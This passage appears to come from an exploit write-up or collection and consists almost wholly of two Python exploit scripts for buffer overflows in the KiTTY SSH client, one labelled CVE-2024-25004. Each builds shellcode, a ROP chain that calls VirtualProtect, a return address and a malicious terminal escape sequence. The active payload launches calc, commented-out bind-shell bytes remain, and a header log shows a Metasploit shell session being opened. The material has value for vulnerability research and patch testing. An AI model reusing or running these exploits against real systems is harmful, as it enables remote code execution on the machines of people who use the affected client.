b"\xf1\xf4\x7f\x86\xad\x4f\xa6\xc0\x2a\xb6\xdc\xdb" # buf += b"\x16\x8e\xd2\xe5\x5e\x68\xc8\xb5\xdd\xc6\xd8\xf4" # buf += b"\x60\x0b\xf9\xd5\x66\x26\x06\x86\xf6\x4f\xa6\xc4" # buf += b"\x2a\x8e\xc8\x5f\xed\xd5\x8c\x37\xe9\xc5\x25\x85" # buf += b"\x2a\x9d\xd4\xd5\x72\x4f\xbd\xcc\x42\xfe\xbd\x5f" # buf += b"\x95\x4f\xf5\x02\x90\x3b\x58\x15\x6e\xc9\xf5\x13" # buf += b"\x99\x24\x81\x22\xa2\xb9\x0c\xef\xdc\xe0\x81\x30" # buf += b"\xf9\x4f\xac\xf0\xa0\x17\x92\x5f\xad\x8f\x7f\x8c" # buf += b"\xbd\xc5\x27\x5f\xa5\x4f\xf5\x04\x28\x80\xd0\xf0" # buf += b"\xfa\x9f\x95\x8d\xfb\x95\x0b\x34\xfe\x9b\xae\x5f" # buf += b"\xb3\x2f\x79\x89\xc9\xf7\xc6\xd4\xa1\xac\x83\xa7" # buf += b"\x93\x9b\xa0\xbc\xed\xb3\xd2\xd3\x5e\x11\x4c\x44" # buf += b"\xa0\xc4\xf4\xfd\x65\x90\xa4\xbc\x88\x44\x9f\xd4" # buf += b"\x5e\x11\x9e\xdc\xf8\x94\x16\x29\xe1\x94\xb4\x84" # buf += b"\xc9\x2e\xfb\x0b\x41\x3b\x21\x43\xc9\xc6\xf4\xc5" # buf += b"\xfd\x4d\x12\xbe\xb1\x92\xa3\xbc\x63\x1f\xc3\xb3" # buf += b"\x5e\x11\xa3\xbc\x16\x2d\xcc\x2b\x5e\x11\xa3\xbc" # buf += b"\xd5\x28\xcf\x35\x5e\x11\xa3\x43\xc9\xb1\x9a\x99" # buf += b"\xc0\x3b\x21\xbc\xc2\xa9\x90\xd4\x28\x27\xa3\x83" # buf += b"\xf6\xf5\x02\xbe\xb3\x9d\xa2\x36\x5c\xa2\x33\x90" # buf += b"\x85\xf8\xf5\xd5\x2c\x80\xd0\xc4\x67\xc4\xb0\x80" # buf += b"\xf1\x92\xa2\x82\xe7\x92\xba\x82\xf7\x97\xa2\xbc" # buf += b"\xd8\x08\xcb\x52\x5e\x11\x7d\x34\xef\x92\xb2\x2b" # buf += b"\x91\xac\xfc\x53\xbc\xa4\x0b\x01\x1a\x34\x41\x76" # buf += b"\xf7\xac\x52\x41\x1c\x59\x0b\x01\x9d\xc2\x88\xde" # buf += b"\x21\x3f\x14\xa1\xa4\x7f\xb3\xc7\xd3\xab\x9e\xd4" # buf += b"\xf2\x3b\x21" buf = b"" buf += b"\xB8\xAD\xEB\x4C\xFF\xBB\x11\x11\x11\xFF\x31\xD8\x8B\x18\x89\xD8\xB9\xF1\x77\x15\xFF\xBA\x11\x11\x11\xFF\x31\xD1\x01\xC8\x89\xC3\x31\xC0\x50\x68\x63\x61\x6C\x63\x54\xFF\xD3" ''' Disassembly: 0: b8 ad eb 4c ff mov eax,0xff4cebad 5: bb 11 11 11 ff mov ebx,0xff111111 a: 31 d8 xor eax,ebx ; 005DFABC CreateFileA KERNEL32 c: 8b 18 mov ebx,DWORD PTR [eax] e: 89 d8 mov eax,ebx 10: b9 f1 77 15 ff mov ecx,0xff1577f1 15: ba 11 11 11 ff mov edx,0xff111111 1a: 31 d1 xor ecx,edx ; 0x466e0: offset WinExec from CreateFileA 1c: 01 c8 add eax,ecx 1e: 89 c3 mov ebx,eax ; ebx = VA off WinExec 20: 31 c0 xor eax,eax 22: 50 push eax 23: 68 63 61 6c 63 push 0x636c6163 ; clac 28: 54 push esp 29: ff d3 call ebx ; WinExec("calc") ''' def shellcode(): sc = b'' sc += b'\xBB\x44\x24\x44\x44' # mov ebx,0x44442444 sc += b'\xB8\x44\x44\x44\x44' # mov eax,0x44444444 sc += b'\x29\xD8' # sub eax,ebx sc += b'\x29\xC4' # sub esp,eax sc += buf sc += b'\x90' * (1052-len(sc)) assert len(sc) == 1052 return sc def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x004c5832, # POP EAX # ADD ESP,14 # POP EBX # POP ESI # RETN [kitty.exe] 0x006424a4, # ptr to &VirtualProtect() [IAT kitty.exe] 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x00484e07, # MOV EAX,DWORD PTR DS:[EAX] # RETN [kitty.exe] 0x00473cf6, # XCHG EAX,ESI # RETN [kitty.exe] #[---INFO:gadgets_to_set_ebp:---] 0x00429953, # POP EBP # RETN [kitty.exe] 0x005405b0, # push esp; ret 0 [kitty.exe] #[---INFO:gadgets_to_set_ebx:---] 0x0049d9f9, # POP EBX # RETN [kitty.exe] 0x00000201, # 0x00000201-> ebx #[---INFO:gadgets_to_set_edx:---] 0x00430dce, # POP EDX # RETN [kitty.exe] 0x00000040, # 0x00000040-> edx #[---INFO:gadgets_to_set_ecx:---] 0x005ac58c, # POP ECX # RETN [kitty.exe] 0x004d81d9, # &Writable location [kitty.exe] #[---INFO:gadgets_to_set_edi:---] 0x004fa404, # POP EDI # RETN [kitty.exe] 0x005a2001, # RETN (ROP NOP) [kitty.exe] #[---INFO:gadgets_to_set_eax:---] 0x004cd011, # POP EAX # POP EBX # RETN [kitty.exe] 0x90909090, # nop 0x41414141, # Filler (compensate) #[---INFO:pushad:---] # 0x005dfbac, # PUSHAD # RETN [kitty.exe] 0x00529f38 # pushal; ret; ] return b''.join(struct.pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() #----------------------------------------------------------------------------------# # Badchars: \x00\x07\x0a\x0d\x1b\x9c\x3A\x40 # # Return Address Information: 0x0052033c : {pivot 332 / 0x14c} : # # ADD ESP,13C # POP EBX # POP ESI # POP EDI # POP EBP # RETN # # ** [kitty.exe] ** | startnull,ascii {PAGE_EXECUTE_READWRITE} # # Shellcode size at ESP: 1052 # #----------------------------------------------------------------------------------# return_address = struct.pack('<I', 0x0052033c) # ADD ESP,13C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [kitty.exe] ** | startnull,ascii {PAGE_EXECUTE_READWRITE} rop_chain_padding = b'\x90' * 35 nops = b'\x90' * 88 escape_sequence = b'\033]0;__dt:' + shellcode() + return_address escape_sequence += rop_chain_padding + rop_chain escape_sequence += b'\x90' escape_sequence += b"\xE9\x2A\xFA\xFF\xFF" #jmp $eip-1490 escape_sequence += nops + b'\007' stdout = os.fdopen(sys.stdout.fileno(), 'wb') stdout.write(escape_sequence) stdout.flush() ``` - CVE 2024-25004 ```python= #!/usr/bin/python #-------------------------------------------------------------------------------------# # Exploit: KiTTY ≤ 0.76.1.13 Buffer Overflow Vulnerability in KiTTY Start # # Duplicated Session Username Variable (CVE-2024-25004) # # OS: Microsoft Windows 11/10/8/7/XP # # Author: DEFCESCO (Austin A. DeFrancesco) # # Software: # # https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip # #-------------------------------------------------------------------------------------# # More details can be found on my blog: https://blog.DEFCESCO.io/Hell0+KiTTY # #-------------------------------------------------------------------------------------# # msf6 payload(windows/shell_bind_tcp) > to_handler # # [*] Payload Handler Started as Job 1 # # msf6 payload(windows/shell_bind_tcp) > # # [*] Started bind TCP handler against 192.168.100.28:4444 # # [*] Command shell session 1 opened (192.168.100.119:34285 -> 192.168.100.28:4444) # #-------------------------------------------------------------------------------------# import sys import os import struct #-------------------------------------------------------------------------------------# # msf6 payload(windows/shell_bind_tcp) > generate -b '\x00\x07\x0a\x0d\x1b\x9c' -f py # # windows/shell_bind_tcp - 355 bytes # # https://metasploit.com/ # # Encoder: x86/shikata_ga_nai # # VERBOSE=false, LPORT=4444, RHOST=192.168.100.28, # # PrependMigrate=false, EXITFUNC=process, CreateSession=true, # # AutoVerifySession=true # #-------------------------------------------------------------------------------------# # buf = b"" # buf += b"\xd9\xe9\xd9\x74\x24\xf4\xbd\xfe\xb7\xa4\x99\x5e" # buf += b"\x29\xc9\xb1\x53\x83\xee\xfc\x31\x6e\x13\x03\x90" # buf += b"\xa4\x46\x6c\x90\x23\x04\x8f\x68\xb4\x69\x19\x8d" # buf += b"\x85\xa9\x7d\xc6\xb6\x19\xf5\x8a\x3a\xd1\x5b\x3e" # buf += b"\xc8\x97\x73\x31\x79\x1d\xa2\x7c\x7a\x0e\x96\x1f" # buf += b"\xf8\x4d\xcb\xff\xc1\x9d\x1e\xfe\x06\xc3\xd3\x52" # buf += b"\xde\x8f\x46\x42\x6b\xc5\x5a\xe9\x27\xcb\xda\x0e" # buf += b"\xff\xea\xcb\x81\x8b\xb4\xcb\x20\x5f\xcd\x45\x3a" # buf += b"\xbc\xe8\x1c\xb1\x76\x86\x9e\x13\x47\x67\x0c\x5a" # buf += b"\x67\x9a\x4c\x9b\x40\x45\x3b\xd5\xb2\xf8\x3c\x22" # buf += b"\xc8\x26\xc8\xb0\x6a\xac\x6a\x1c\x8a\x61\xec\xd7" # buf += b"\x80\xce\x7a\xbf\x84\xd1\xaf\xb4\xb1\x5a\x4e\x1a" # buf += b"\x30\x18\x75\xbe\x18\xfa\x14\xe7\xc4\xad\x29\xf7" # buf += b"\xa6\x12\x8c\x7c\x4a\x46\xbd\xdf\x03\xab\x8c\xdf" # buf += b"\xd3\xa3\x87\xac\xe1\x6c\x3c\x3a\x4a\xe4\x9a\xbd" # buf += b"\xad\xdf\x5b\x51\x50\xe0\x9b\x78\x97\xb4\xcb\x12" # buf += b"\x3e\xb5\x87\xe2\xbf\x60\x3d\xea\x66\xdb\x20\x17" # buf += b"\xd8\x8b\xe4\xb7\xb1\xc1\xea\xe8\xa2\xe9\x20\x81" # buf += b"\x4b\x14\xcb\xbc\xd7\x91\x2d\xd4\xf7\xf7\xe6\x40" # buf += b"\x3a\x2c\x3f\xf7\x45\x06\x17\x9f\x0e\x40\xa0\xa0" # buf += b"\x8e\x46\x86\x36\x05\x85\x12\x27\x1a\x80\x32\x30" # buf += b"\x8d\x5e\xd3\x73\x2f\x5e\xfe\xe3\xcc\xcd\x65\xf3" # buf += b"\x9b\xed\x31\xa4\xcc\xc0\x4b\x20\xe1\x7b\xe2\x56" # buf += b"\xf8\x1a\xcd\xd2\x27\xdf\xd0\xdb\xaa\x5b\xf7\xcb" # buf += b"\x72\x63\xb3\xbf\x2a\x32\x6d\x69\x8d\xec\xdf\xc3" # buf += b"\x47\x42\xb6\x83\x1e\xa8\x09\xd5\x1e\xe5\xff\x39" # buf += b"\xae\x50\x46\x46\x1f\x35\x4e\x3f\x7d\xa5\xb1\xea" # buf += b"\xc5\xd5\xfb\xb6\x6c\x7e\xa2\x23\x2d\xe3\x55\x9e" # buf += b"\x72\x1a\xd6\x2a\x0b\xd9\xc6\x5f\x0e\xa5\x40\x8c" # buf += b"\x62\xb6\x24\xb2\xd1\xb7\x6c" buf = b"" buf += b"\xB8\xAD\xEB\x4C\xFF\xBB\x11\x11\x11\xFF\x31\xD8\x8B\x18\x89\xD8\xB9\xF1\x77\x15\xFF\xBA\x11\x11\x11\xFF\x31\xD1\x01\xC8\x89\xC3\x31\xC0\x50\x68\x63\x61\x6C\x63\x54\xFF\xD3" ''' Disassembly: 0: b8 ad eb 4c ff mov eax,0xff4cebad 5: bb 11 11 11 ff mov ebx,0xff111111 a: 31 d8 xor eax,ebx ; 005DFABC CreateFileA KERNEL32 c: 8b 18 mov ebx,DWORD PTR [eax] e: 89 d8 mov eax,ebx 10: b9 f1 77 15 ff mov ecx,0xff1577f1 15: ba 11 11 11 ff mov edx,0xff111111 1a: 31 d1 xor ecx,edx ; 0x466e0: offset WinExec from CreateFileA 1c: 01 c8 add eax,ecx 1e: 89 c3 mov ebx,eax ; ebx = VA off WinExec 20: 31 c0 xor eax,eax 22: 50 push eax 23: 68 63 61 6c 63 push 0x636c6163 ; clac 28: 54 push esp 29: ff d3 call ebx ; WinExec("calc") ''' def shellcode(): sc = b'' sc += b'\xBB\x44\x24\x44\x44' # mov ebx,0x44442444 sc += b'\xB8\x44\x44\x44\x44' # mov eax,0x44444444 sc += b'\x29\xD8' # sub eax,ebx sc += b'\x29\xC4' # sub esp,eax sc += buf sc += b'\x90' * (1042-len(sc)) assert len(sc) == 1042 return sc def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x004c5832, # POP EAX # ADD ESP,14 # POP EBX # POP ESI # RETN [kitty.exe] 0x006424a4, # ptr to &VirtualProtect() [IAT kitty.exe] 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x00484e07, # MOV EAX,DWORD PTR DS:[EAX] # RETN [kitty.exe] 0x00473cf6, # XCHG EAX,ESI # RETN [kitty.exe] #[---INFO:gadgets_to_set_ebp:---] 0x00429953, # POP EBP # RETN [kitty.exe] 0x005405b0, # PUSH ESP; RETN 0 [kitty.exe] #[---INFO:gadgets_to_set_ebx:---] 0x0049d9f9, # POP EBX # RETN [kitty.exe] 0x00000201, # 0x00000201-> ebx #[---INFO:gadgets_to_set_edx:---] 0x00430dce, # POP EDX # RETN [kitty.exe] 0x00000040, # 0x00000040-> edx #[---INFO:gadgets_to_set_ecx:---] 0x005ac58c, # POP ECX # RETN [kitty.exe] 0x004d81d9, # &Writable location [kitty.exe] #[---INFO:gadgets_to_set_edi:---] 0x004fa404, # POP EDI # RETN [kitty.exe] 0x005a2001, # RETN (ROP NOP) [kitty.exe] #[---INFO:gadgets_to_set_eax:---] 0x004cd011, # POP EAX # POP EBX # RETN [kitty.exe] 0x90909090, # nop 0x41414141, # Filler (compensate) #[---INFO:pushad:---] # 0x005dfbac, # PUSHAD # RETN [kitty.exe] 0x00529f38 # pushal; ret; ] return b''.join(struct.pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() #----------------------------------------------------------------------------------# # Badchars: \x00\x07\x0a\x0d\x1b\x9c\x9d # # Return Address Information: 0x00529720 : {pivot 324 / 0x144} : # # ADD ESP,134 # POP EBX # POP ESI # POP EDI # POP EBP # RETN # # ** [kitty.exe] ** | startnull {PAGE_EXECUTE_READWRITE} # # Shellcode size at ESP: 1042 bytes # #----------------------------------------------------------------------------------# return_address = struct.pack('<I', 0x00529720) # ADD ESP,134 # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [kitty.exe] ** | startnull {PAGE_EXECUTE_READWRITE} rop_chain_padding = b'\x90' * 27 nops = b'\x90' * 88 escape_sequence = b'\033]0;__dt:localhost:' + shellcode() + return_address escape_sequence += rop_chain_padding + rop_chain escape_sequence += b'\xE9\x3D\xFA\xFF\xFF' # jmp $eip-1471 escape_sequence += nops + b'\007' stdout = os.fdopen(sys.stdout.fileno(), 'wb') stdout.write(escape_sequence) stdout.flush() ```